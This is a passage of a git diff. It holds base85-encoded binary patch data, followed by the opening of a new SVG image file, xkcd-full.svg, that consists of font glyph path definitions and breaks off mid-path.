zBmurzj1i0!H_@&xUr3!^7rnKPLG3Ga^7kj42YxJvQoa?_=<+@eiC1<mr~R)o-xgz$
z#l34(9u_BbjoC;GS@o6Q+7sav5OCG!FmVyYS9@B~)z>naqQEE+BrO_yEa-Zb+G}BK
z%D4nW{a{2)LDU0?1-SG^r|03G6`dOq50}JnOn96V_z6NYgBC^F;kkz7plQeq!G`19
z)LrF|fAO?{k!Fn_dGG+Z#85*R3=CofgS)eg#&Pd*p@k{q2(@;wrRMjJISL)Y(t(Sd
zvBW1M3t$2;w{TMkO!mSuedkZoTE<0nI@I&p!J_k8$xxOmZ>9<CC2(dg?%0|1+`Igc
z&O$3o_P4dWCgUXi#kcWLwnkBcd6CDH`ZQhi^U!?-z{0ygzQg^KIyw$GQL94{W$sxe
zC-FgJ*tx@E*O6-A(h&{)EkGhab3K#DWqz_^UD!ITAVi=O|G8jJKY94hN}~$|u66Ct
zx>LVQ9XhXxmBaqIL(=+qcE(7<sFoHxhH@K<X`Uh9`Zm7Qh#kh(rj4_(+mVpjUg!u$
zK}B2W>v8w&37!q@(CHERU-W_sFaFd_NQWvBNv*aVcY4+F0i4mGMHmv6!Sd|bRX+(t
zWkDoSx-=^+MaQ-_rV}k+p~OcqPPAI*S%?!v`~q=3O$|3qi6nO-D+AF@QebV8v>~IY
z@B*A%%<5%3yzWD&Q9@}4%BLtmK8q@w^{~+bpSIFuO{30;%vANVM?Tp)g!?=HytK&N
z4Q1hu)&^FOa6F!4AMbsZ9mV#MbrOv0;jAeT3v|@YJEuRNX~N_ln=%i9H7kk~IwYem
zYe5Xy>dMu03sAL=YZ?Lb!)`4fbeiFz1j`s?_v@7#x1@koX30!GIc5$0I2D8QM|`3E
z;Mc!)IK^d_G~AgcLvvsR`vXT{Pj28czr4YD=iM?t;Gs$uTVxc)o?m`#?{=ddsvd5g
z{>Sfb*VgW8MtC2l;7>}E<ZCow@mjw`J|DyN)d!r<NeRhq^rAY&)TCorFP&Y7J=@G>
z?)C`W=;W~q?tD_rrr*Go=w@RUX;Wh4KzXNoOC|TW_OvVbTEXv5o5!oQm6NA}K;WaE
zkXfljzkLZxyY^}Vsy9Xf-H6qj4QTQt7DKA}LJ3*M`g0FT98V^lC+TH$GmEnbX}}Qh
zJLOxL4k<x^KS`<%Z7G4;jVPE+XVunMMG~N0YBWp{Xp`}-hhx5I&C2&%isW2ye(X@*
zYo89#+z~M0gJXSD@PTkx!)7v0H!@6zqxm#>qi?Wjr7%sqCC2X7R8xw=sUl^-Sh1P>
zJAexby@|_!tyLq9!Zi8!5s(O4+dgZ#TY*1V3i;6h3Ew8|I1lO%i(S!bwVK%!jab^T
zAmpELfqn|8iYS{>Nc0zv<%vvY==K<fZYXpChuYMwL%1Wp1ZN`mdoJnEG6y1^E34hf
z*8#FJ3mxJp77QtPNO2K%Jo2mnUS$nss@Q`pZ4>dA)bO|o`NJ1_j|K*KLsrVWK(Oy(
z#oT(o!n^F+d(GH=+ZU$R#cCT7SNt*0<Dy<0Qjv57mlO&>+jT9w=%K>0<4y4%z9h#%
z$CAM!(x5-GE-m$Ekw;uBKvlbPiAOkG>+@oj5+Da9C~^3TQ-Day)8jVv^oEOLZHy`#
zaY&?_DXjI@fi>^2qEnK%>zgOukJ&&>RVkV6@CcNq$9c^k8nm82=>^{2{Le`VNed+P
zdAmEVvRi#$F|y+nCqF!MRtDN{7w*JaFe^1pG`pgXs_cn+>;H;yT+w}cVyvr?AN9@s
zws*jY@E~+9+T3;Vv`|l6(3|7JCq--LZW6~REYYQZ`E7F9Wi0h3z?>~a<Ea~oO1AH+
zdtuv4jDsI7@xh)f$hefGgda|`HVkS8=^cDd_?kZwNqDxZ-YuXpKGnJLQ8h#Q3d^aF
zd(2%350P;><}f1~sP7*<a-3`^3iIRc!32=m>X$kcM)zca)L&kcrb!8)55Ng3@=dmx
zC4Z7*O=Ub<W0AI{u~pDZ7>Eg41-)cc8YI_@Y0k8mb0dPQYY9z7*jCmxw~l(g*;hvJ
zA&17Fd-px!A9b#bHC1nG#*<gbc5rEc%<@RhB7T}mpOR%x1ypVK(B46S4g`aZ#o9O#
zmYgoRKHCyN^{v?Ru0-D}CsIJlR@nCj?M*}zcdCK?BX-H@ZCLlL1G52NUsSM1>gk*o
zKUUD`8J-{xWrhv&D*?k1s>Yfbalv{=1eDw~#$we5s!h^Z1yEvrX*DxF^e=pAmceoG
z>Jei1crJgDKZC4<Mx@wc>*j%oU7<Ug@l8A`%1jA>N7^){gC5Z&P2uhOXCV&!lkXCO
zsan}@=Lv`htffZ0S&yh(pbnNrolV<@ToA?8wm`BSAjEd!85MjFS$`*9lx2z`{g;u_
z0wcALXpK^1$YAm)gERj+5oI%vF=&N>a!WRlXtSXrCDW+1Wa!&GArI7TJ^tN&vOuf)
zlNTF;1mc#H2lG$Snwc4e)iv<NQ>0(K9J2-o^!S!BPd#;H0YOjhZeWPg?69fjZ$gCE
ze1HrW?_Bi&arjA5#5o2h1y6&<Fuj6dhE@Fj0H24bXoWg^{{^EFO{Y3q0yf#ST{WlZ
z)U4e27IqnKJ!qG`U^BK6)IkUml|DKeA&I{M#jNNovMsXv(ev`KG_nohTB1yR;Cz^i
z_ytgJvz`8yD4}8o7nvO8V5tfQdZr>EI5Yw}GU)4UMdgGD0))OItv(bvMN_7<_ZD^1
zb^#p-WO;A`9{)qW)X-vfbe4%`^oyJQr^vuAs|>jbGS4RRX%)jx7W(C<Uu`X4ze1-D
z#BRexY!f+m<8_4Qc1B7MGhaF>)4ogxc$KnhN3=75na2UrqiP#skKbN!JfK(KbCoGV
z4c_6M&B#Meu+WDcUos$_R|eptj~8Nu6vUSB#R7d!Ha83d5EC;q{X!)hQLSdsoX13~
zcuMvs>N+2MN0HD`*2tneOtt#F<P^7zy($kGtHH3{W`9Zq!1D1?0EP|%hra!jMCA<i
zegs9A(;-d#zWyKWnWqpItn=|lMzq;oNsGoSyrrUOp_+DRkdwQPll*9UzIUvfb-ZBQ
z=0C0JW!$e2Wl1oQUC+uxow>EhAEM49|ArHPJ5A$_3$HxC(l_k;?~V+)*#%SdhOkXa
zK5zj{UAwg0-Y)Aa-d3qN_6!b^$70Ue?|h+Vx|D1j*lmIR1`7@F`p|0Ia(VyV@O;F;
zo<;5-6|Niu>zhk@Rontb(9V)fVF=VJ#59k>Db@z@@+|&`u7~n}(G7aLoUg{yO1Ret
zRB--M&xn%{tp!a&rO#*H#VkNBiA~&*50Ke$VT7B(O||Gjkzn>r#Nw#K=6x8K{~44x
zE}Pywgnsi~UWQe$nxtu6Kp-+;>=wM`OdVJ<{2+>K{7r9rS*CiG^2<a+-3N3-$gNKC
z(e~@xWxZBk<l}fV@!Gv2?rthY8Sg8S{%*i@h7*xH$nbR_p#@7erTZ*(a+V7-rxX?<
zyCZPVL+@Kq3U!2FPR;qpiF{j3zWI$&*>*P~Bt_ZXj%8!?wH-&x3IC#gRuTe&3L3N0
z17~Y*bVV-k(7S+Fnya9IHv`t^kF|cmOw#xPeA~v7UQNsH-GOKwaKJr%0{)KlhZ5ha
z8lUB`9l~iuuUocD=`BQlO>0a8_2?<VMu%i*HteCXR-akCZ=G9-ZaBFTj^7nXn1loj
z0^AVY1RYaxC20@}!@<JF^z%zU9TJuWE@H3H+UE3S`bbtSD<8!PUpVFM(Kt*x1WrQ*
zH1(l2TRpzr<8}nXhTo~BC$2E{Aea5lD8ip{P5M;2C`L$UCvsg9RQ4{)kZHKUB}kJz
zn9sbA7DcbnolN9Yw%ti*GloVviC!sw7MAdy356N2xz||HdEs??`40bNO4&;YYlMV^
zDmi0LJmP_huy-9#V3@xyN*&Hpb}6_&BfRr*8DB_9Noa5RBfAt6w;BUp@1f#E3xT;6
z3Wgm<0j2f1tdNAZsDQ+~s&ChT@oqV!q-ngB!sel2uG-9g&F!EHi*_f(oApC^6&+Ys
zZR$|_S5zqS97jr79Ahwn1okMCwwKw`r@YUV>6E$Oe!aELK~_4%eyAH8q+7Hzj`<M5
z_W<aDuqlv|Z-V^NT|BUaff3vaZYd|E;b`0qcU-@J)~zCz!fRCv?I_~EaM!Dtt6xUr
zl*jA7HGk6Av3^8%%7jtfAyq8Y2^0FcSOgEf#u%ynEZA{3jsisawL2^n?<f}gGfJhm
zGO0L=D4b8b-TBgV7QS4w8^MecGglI~QkVCMbq`REyjF8bRw%i02@Zu;4sOnVe?-@K
z;^7L&$=5&0=Stv?a@}%&LyMaA5B7PyQZRlOIfgnf<BTjFx&IXiyLxS!P8xX_0};Db
zG-LeA`uwg*7^+Vu8?a{^w0kexzDBs4>e#-aE0th0r~MbwaKwS2K%c4mIt%JbcZ*cm
zRNvoaNnH`O;d<<u;4|s|a%J$D8m$vm!Zuq>jbuJ~VDbF)v5uarZ^vP$w_UbNky^EH
z$6kN&GIOSy(y=6f#H=uWZ3@Qv$u85D`9{1t?)SaT)h0Mg<8a(Y(1HTknI2kgoIHfb
z$@YT$-m^24N9lrQi+Tpd?p)ks^Eib3%B=0tPaW=9W_%ID8v0fduzASp4P_673K0*z
z&{QGV>W_HVsYTAM4!*DEsEFT5sDJlT*ZYkv-4HVOR(z@-$@-OV@!}tbBk*tJ^}K?a
z+}hhOye6<6k<wSVvle%n)I*W%A#JQo=NK*nS6*<O*W4eT<K9Adf@EiFNQ`>Eqd~=l
zbMZDPkUrPwthv2J5HJkA(;NMo-z953T>*OY$(hg@{1ADemvjbk_tWFdK9vn;WlkUl
zcWT}~)T!T?`H~wlt<zw1P@)9uD7+Ev1*up1Mwg$paU0_CX*_Mc<aptkhFZqBD!(ag
z#N{l<zURLmiGKaiN=&fjvdiB%Vr&i~9Tvq)e&2XR@#tr&(<N1LTH3m1+W?bq!UEM?
zc#MPD_N86;LHxSwQp@0{Kd-!i`a$g3Q<hNxdfPPjTrO^CM%gU1N5JBckcq+Y%2cj_
zwknT~mL^?dB7^uMzQBIznuNsCW34UbY%=#vJlKV0@=qaPd8EFSL|9y>w1r^c>B~pb
zl&tiTEr!YYS28>@)?Chw#fB#8g=-W$;bX<FWzKt<%i9u?i3vN<!a0J|bbHYM7vQ`>
z;rjc#P(2t#==qQg-SOfUN#?9gbxbFaSB?hexq~B|5TaULhwAiEajYD+E4BZ;iYbPf
z;00>_%JK`*Tck2q3^l!adZh5HTW5PGU5D_V4E(w%-S`nh*TC%t3DA3peZ&N~iCo*O
zufU8A%<EKR%#e?LWAh*}b>U|i?l~GcXvued;Wg@v>YMDJ2lVWz*T*RVj07~f!vYHU
z@5P-fwyJ<Yx5#6tc2!IQlYxcRJquhg!9m!nCb0`Ld|Uvet3h5w+M^+MvxCqj{|u#1
z-&v<jWi57SI`^xS_BE||^C&^b-$&s&GJ$p0=zws+QYQbW;s-x1ZGIb3$mlL>DC0cT
zpH`8ppo@Trsy<=F8}&ZwpfdyR4S<BM9)#)QG9VBqw6y~9)hk=f+nO^Z>=Vb*RFm<K
zgb(u*#mz*gAh&it3f@V5v4w!aB9;PQL~nX`v#C@~(`9ih?_}VZX6cnh?5dhgo{}RU
z^)4g}ir26K4zG^m4=zQs8{_ek%u5H9DeRj@wR10>nQwv+I@^gJssXszvE(!unJAN~
z6EM-vT6c{^%vRAQKJl&}VFEIq49l*8kYvqII}gG>3flA4W5!AAW~pc7j?3$&DhAu!
z_GlL$Hp3&=iyp1ymB%-A!=xysr#{OHM1CHsOTGPvT@;hh55T)0<hqOeRWK7j_bg)D
znmjEj7*jwiu4l&1UxI^&atIFs3`*@PLw87ApKJV^&cff^`s))4blIhLJPp2Dhu$H|
zok{YChaERo+y#8_+92;rFCnb}NWQ$KOf&xv>0~81;eAE@;)V<LMR;!isp8<*?3B`t
zG9h9!&$Li$ZiXcTCTO9{$&fn0JfBA%0nF=;B73h31cZR#V-HdW$+$654}UrS?TF4m
z+iGs}0Q;}PalE-lKP~cX&Ilhrj0jWax(lpfb#D|gpYL<oi=`Vhz9L^8vVN3Gfmra4
zI@CmkVFcq3Cs}CfMYK5i=pPzI#POIuk<ZKc>o9VG7hq}PNHB@w05%#IMSUa0f1?~~
z{5Q(5l8fkBz%*KuDfFAI)@9s<k^I(FV+n_)8!c8yS)wu)yAs@F0yhUZNDiDJ*&S@`
zal3Ix6Tl`Qj>YoV@!kLy&+ZHad_2+oH3gg2G&t8KKfIvdXY03C9PIh4>K{y5gkZK!
zOSq1i;1^WV$}uitJuH?u|HatM+)e^8>@`8{ty;6VJ4kooEB>S7nxzPqyIj6~_vZqP
z!7;^FRJ^W0MjE}A5n}bG;X{2<`@>^Y@Ybb#0;NKY8-v%xY<kIqegZMR^F0vH{9AND
zppnFOVU|GdW_#8dV$1ei_4SK!Aad6L<10)Pw!LB}xV)u{U;Vc3p&9eF1(C&(aiDyc
zXpmS3I81Q)c5W|6r;Eklg^s_(vmxU<*EYrC40!g4kd`5qp48!X$qG2t#U3EDL5iG1
z-BrO>%%JmPmyz4N1TtyC44{YaSi9LstT-8-31}koK5*ZFDDC9umc)T*A~T}xx-5x@
zx3!->Ml8kr;YoG&N#mv(i2GXD6=Ofja<=J7qYMrM^$X%N88}?!byjo?nVDFG8&@GC
zAJzYR+Yu_zybFQjERPL|LE4^x3qv)(oKi}8!zQR}g`hm~6wjp$>y;DXf_DtFTu+~N
zc|C|p^wi=HCCYp`Ok7*CsfA{*|J0io!R2rhWd1IDItX;fjlKPGS%`ry)5lX{r0SrR
z68mpe7AaD{Kc1eq+U?o@r5eA{I{uSutBYR-jPRUTq*mdN7JtnOjcmw82qSeRe*IYG
zO#5;lHC?%3-#nERjBz|-P%3}(z~boWrZbi9V;;*K`LOsbTslI4{!>lQ%~XZ?68!q)
z&a=Y(D>?BKP+pyQK<2hyv+r}^Lo(p*mlBfs=Nnxs2^nqZrHLFpk-e-avWDyYakar+
ztp1-#&X%k4tk0WT&Fo@!noCV9_t|Hc__llQgskVrIc^??XyGuupN{GjGK@Z7=(n-_
zsb#|sdqH$Vr(mLpKsK(KzZsS8uHA6Nhf0y$-vuM6kXfaCv$IOYRxdn-#EAd6F6$>b
zX4}4%XZ=P??3}q@OGN@2Gx)C=ko|mhUU1&$UW~zSDiHsXw9a3S+}_mrr&Q;rIKv<p
zX#PXyQcgQHu)?wk)$p%MUf}_^&L3Z5w<i7JRRscZWbBTqUhUcfU<)KeYffNS>%FcA
zv5!-?XxwLMeJ+(0>>3gnhs4%8(~QpA^j6C>f?m+ZteYwBYGZPy&uevDqFC;6`)v_3
zLK4yiYBvGMn<PXILJa;3ol)yIMyJLrRql)KIKk}EXlj1=9P}&7%~2`Jb_1ucjvLOu
zfDcEY-`w<a+iqb4IwI+o+&ks%>f<Y+u+w^!=Aie`<4YvGWvq%r!Bq^r3ZkqT^42D`
z?4y%-`**e?pyEC6h&;Tdy;4BIwH2oOUpeSs8NKtLQ_O&fWPbgg<nDFUayaTphxSXO
zWEBs6|ITJ>?iC4x24BKp*ARoB1I=zriBRj#<Ny<{u|mZr8t(R``KmQf31^@Akav`b
zy0nl!yk*?jnl7J1p*eR-OI`3#qiA)Na^z^O%L?Zo;b*vxdR&#b&N_<Cm=|3DH~dc{
z>wYn>>~rtQ4&^4=1@+h(4oX+af9-UuFk>-7X6wcOT)2(Q?#0l3#GcDmrV2uL%!Nn&
z9nZM*LWHWeK-Xg0GFg`0TlF5dVqs8dt^FSp)D==qG`lI|xtjJQU<v1J-NERoQ%Z6<
zW?8eRcNNPI?k!iBQ+Bbj8mH+Z33@VGh+2xx?6!v5bpDpZ`Nf#t1geUu6?B__#Nq$-
z3;y8Wdh|icz?Po8!a9zCFE;|D46GsWUjfe;nUCg$t58z-wR|Sq99_z798mQu6ugzX
zE_BI|WcC+3!%3yEanmZG6)~v+|0v~^T=&ZWoa7l~hYUs&7mh0F{;8~vb<^}ZfPJt=
zv}>nn)Nxt$Q>v}v1gIzxodDh6&eJrS`!HY2v+Jq`Zexx=asJ;-iY|flN<|hp`-rE^
z2kF$MJb=j9qj^t|Q}Nd;V!}&v#rHQF<x7#=(QLZXozClCz^a-PGH}{gaLaYv)DagE
z+D(`E-0mdNkIYmh{gZ~4yU4ot=~le!qU+3e6~eP54q==%aT-r3Rg{HN>cQg59BOOm
zj<m&#VnMWyd&OYCV6uNM_oUAEQKis*nZCzXw>RAmyZk2T<-($5Guu01+cqLU=$!N?
z2(M_t%x8cn<_}lkWhjGZJ%J&PtzPcz2<V@|(q-DBzzeQu4t)fXMA_*bqG)BpVQj~)
zbRcGLco3Tj4225Qu-QS_Y>Qkf$;y)LmaW5Tz^h$l+3_tqdu;!f<odF?lE<D^?_&mZ
zCqjb9*FwR*QN9(M#)~<CDfL3lKYrRBd}D@I=60;K&rCSN&XUi|@(qz<O<XdS`OdMr
zYq~=(S-kAYsbgxmj29_Gd9{qyJY{YRBEHZ~wrqe{x~V!ClESK`l-VHNf3}K;%km11
zwLJDuv1<oX&5$!CMni_z#k)k3VJn3IX=ClFn(>nh-h6$7z8i7m{M~JS3v@ml)lN2>
zLSn!oFn2|tA^b}K=FjA`(>yN#DjaTp?hln<Aa0&mZDVP6w^1-el+E0iV^;jiTL|pD
zq=pq%PbUgTB$rWk8QlNHDRAqgBOx{T4KlPpPt5jLQpqx3&>`^1yfDNqd(r5#O98(0
z$#6O4kPXXn(gS6iLXaEJ^LJA}K@K_^vV@5%n&fBjs7XDwxxaKUXEMAgj#P%Joz4oQ
z4g;IZpDhRooaQ2(UL(+kp}^Vs>0-FY3heK^byUPPGW9x5r{3=RfX{|@c*Hej1jD++
z09_nF9ejVYB;sLpfT*F48&?XHomOhUG6?ExQ{efl*9s@Z#-k0Q_IhJXni<E6z2$@&
zhMw?<jCuQdZNvIAQWjjZnrG3yy1353wjv*uekpT~+Z;;I)^Hikr*L*a>Rg@PaTsQ*
zEG}p7Z%nt(C;P}%|6JdfKrc&5>{@kpPKWZ^)D7EQUK!E(p3lnEdIT{K*oK2`6pg+w
zbJD;ez4x+{HocR|f!R(J(7KSmhz3{hOaw8<kkc^yZD;qC8OXA<B04}sp&~z(F7j*B
zVIu08&Fh?k$ac#X^tfp|SW%&if<oEcRq=F1$5vVYIJ<rt%jRn|ighYoq=oi<t;~6=
z@=YPreK08eUMP^CbkdWAuDK$ePP;>+&rDq4YkXnPLgdk{KA`{BSl#$h+yBV2=HKGF
zHw?o3*-zhYuHa3`_tqRZEUi)gQsY7Tt*)bHm~%t(6j{Qk%knWs`#$j~a;(#998~Ev
zjRsr$c_;n4bvK{556<pR%5*ZuGiL!!Klvi5Nd}fTLdP>sPypwo<01IX#brM8Q8G^p
z%c{F0J@CzUDpZaeZ<%gG`@Pu2wpGs>=0tYzESZ94fEpnh>jjsxuyT2_aG0t3#n8Yp
z24$o0N8mjY``GMsVE<e>1<3L|V@anADQI5+L=a_jvq+VS=O%id?24{W9)lt#|07Tp
zk`HsUL11Z@!&N+Yk209Tpv2P474C&GDvM^$0o^eW?KxYYJ!u>FJgOTJ@0o9z#$zg*
zKHkRI9EX>Zf$+O4t?GcD#n^H>Ct+fW3^XxIm*$s{{Ltixa}<MqzkKjjtwsdtdxgL|
z^yp%(%6fKH1Dmw%(VTW?j@RSBk{Lena=TUbA33{|53;Xr-H<vq0vNn~lXF$uspb=J
z`@q=M+hUXIJlOLUvjHSK_Z45HiTMxx%k3_m<w%rwj+SiyjqJSdsKWd_Wuf0urTn3J
zaPj%ZcVkzc=yz+g28(a|t!o3mUkAnv%2Y5VgwecDN;oQ>?8b5(5g6A<f;-O-XlIE)
z3kCD<&3Px$&**f{{x}yh><klj`hlkCjr02*yHe+ab;Fo`7R~NqpS5^w__+}ah%lp(
zqcjQ!=qe8e0dE-P>i-96M#*@dyn}mqAKv1*WGeeYt|>#jT;Zm0ynNL38YSHYWgVaU
z1%|*H6lf{;?r?wHpEH1dj%l;d#CW3~dquK>l9-XPP?3o7;!#*FIID3dJ4)WKQB#*d
ze#xwD4;B_ODU((aN2+T1US|s#K_n~ibzOy@ig3FjjM!}5V<evA{s+FzpXvxen+;U)
zPs>>FIwqxH7JrZ+ia=H(cX5gD%D@0>M_Tb?32bKgcjSEITWbdAHiDA^9M|`%M*PiF
z-ivi1|CXkvnpf+pL;2%8l{)-K0dO-y3?OEXLYtkYDNN5e(clSZD3VO(aXLZOEkafv
z-!>lKb-!V>z?9xW*3ooYnS+|pmlQ3K-GPR!TsX<**5EliNX!)L7urF6#iGT>D3L_)
z-aQe>Te1Y)#H#VfqT3@p0=uP=+2EZz#asactWc~vECn%Ws*$^3ll!Ey@R!=_^&~*o
z)h_JwSnZmT-|s<6@r0~pqF{F`Y?T-0<NLqzNXOs4I(V$Ml-#vS5#ur3a8hY*1QXkK
zw8Mh#K8Nlq^}3-{qEzT*VWqryuj1Q&7G6b+BdShcU0d=<A$_|*lN$CDLS_5TI-(s^
z414^a3O)12gbFBD!$s|GEBfaG7_S3sj1HOc%&IfgW*r0S%@ar7O@Sq3xXn}NsKW3?
zPm;O}v#E<88KGG8c<yLg&4!eNCIPjKVTE}8svD?}nGZ3tms`94fVYk0D3B@%v88&l
zmF(b-(d??otjN$AF4GC_RFL~RO&@+*aZxN2kl>wD;C5?A&g+KV7u{70BFk!$#Ah;{
zP?fZVQYYKp+Eax!EX!-N$#bqj@Xq{0ejuMVXzwwiOCG=LjsrF@-ZUGw2qz;X(0Fm0
z4*o!|D2;EEiSK&#N>$bD@?92mH4cBcnG}}9usRXnep08^K=maJ#kQh&*W9^t=msZ5
zkea5l^(OhMU4gB%Epm!@b3v=Inlin*fwP=oY_dv?qe7YX_J!oM?kqOmDYyJX_wjq-
zCS-P@IY*7m$2y?z2<VMs^)-l!Ye&7Ia&2)A_>=1_vhsEHb3od`5f(FxuY_7_Nn*TL
zzp0bTJ}uCvW2Gfa)?CCIy~tcmKXm5?>?d)@wM7e!b<pI7z}I)4P?U=mtepWmK@;z~
z+1lXj3<Slmwyexsg*RkQp0SyiQXy&N;WxLTwsvjr?q6^OtJn6jJ0igDP`p^eo7sA4
z^On#(RtA-Ip7Lxtwnjf>Vg<Vsfnr~n_V&TlPcYsQxk`zb5+9gXCugV42Uc$GO7|&X
z8Hkx|Sl9J0Pkfn_^3(mzX&=Yy{3H=CCuaUoKmX0xCvwf-y);E*Ja*HwBje=&Mqqnf
zSJZ<z9)W<12;wlpusPR{e1l}w8b1<tkFI_TUVbLnVbpe&6C=25-!jJqH)9p0U1-er
z2UtV9Kc+VfT;WX6WUlDx@T+#gGIblJg;%;}-qC?1!0+MuKxtSnCs%qM$EbP2Vyb_h
zW4KjlH1U~Y&cGMmg^ILTQY9&yl95Zb?QfSuvC`Q-8If@5hy+_s4pjLKh40>^#BeAL
z&AJ8jDc7BK&6;TQUMha_k;A-cjG+iQkm{}$|MqKwP&?CP%k`|Cc>Nju(w7(L7R075
z73)Od$j{|Aj2*leX1*$$nIfc~q$0u8SXfV4=Z~IxL6YcM6@H*YvI~b6JZju3knO{x
z<3!NlxA#{DXjr{n>z-)`<`iSJLVQXTQ}9B8nBy=@Y~E4B+7Aj&kDIR|Kzi-`SdP5p
za}cwEkw{l{;e^Tt39~Pa`7zf!UlJ1OuI#>`B0>lD8ZhG^dd0N%U^^tDA%+m9X1;?5
z_HvKmc3~FmBj(Iw`?Ir<Gihpc>s&%?8B3JL04NEi=ZXA!T}bBpy&BpxuD24=#u$rI
zj1V?{14UD3uiDaXPTHorH7f=@e4u(ZB%fjCI4K!0^DW8m2;iUZ66={8%X7*Uw`!a-
z4(RFzZIg6fw<PNRpqk8tR9v2>wh3Nyigy)cV9Hh>;3EK?K1kEQ&t`~}CA3y0XD)Uo
zD(Kw^aXF(k47zMAv}QI@iTh7mjMCEq-ChiQ>`bcfx=IF^&AOt5KV-K*J_^g%J}TPQ
zLD#xX`rdsq@UsRFGP=ZE4iM^jFqB9=cKA@9fXzRkLdd_333F`<emD-XVIE>`7x#v7
zeO~xZ!B67M5V;5UU?mpRIWLD79}^~!nctp-xp*A~A5~r(x9pF+;}aK{Tzr0-P$C~f
z2|WOA#NW!EHrL?+I2OPXmu^79z<Rw%-kBg%>n{c&N!Y4BZG0#Hr=b<5Tj{GE@=ZaN
zysjLmv9+VrHry^c?BCo!o=<HbWPEaF<lx{RsJUc>P!sGxtEAFV5CUi_YYPcpe6%O+
zbU=;zCm)=VpZHE-O-dS$cT+kJNo>+F@T10gq2_t@mj~A_CtPi6POMvUlZTFpqNB;2
zR7|H`Plt+@f~Ybc#syCQ0~2xKe42IBkha~o1`_kKl2kagB9umt15131Z@DTMCl2tK
zrDKqf_`gwMpXnj%r~3B04M6RGo<}wHG{zA`4$JCWxpEzr<Q^)LSd+6feRS>{g=Xmt
zm0VRP5m0)I`lcM&pzo@DhOPcpl{q!1{mu69v0k!bU1XB9-t`)QU~@x&7^0i3(|C0j
vjAF=qUcN6~wmv0c+*JR+R|y@sL+l+p=t+AjHTmy<DnLq1UbI@+AmIN1=A&A=

diff --git a/_images/http/xkcd-full.svg b/_images/http/xkcd-full.svg
new file mode 100644
index 00000000000..da590c2b97e
--- /dev/null
+++ b/_images/http/xkcd-full.svg
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="525pt" height="301pt" viewBox="0 0 525 301" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 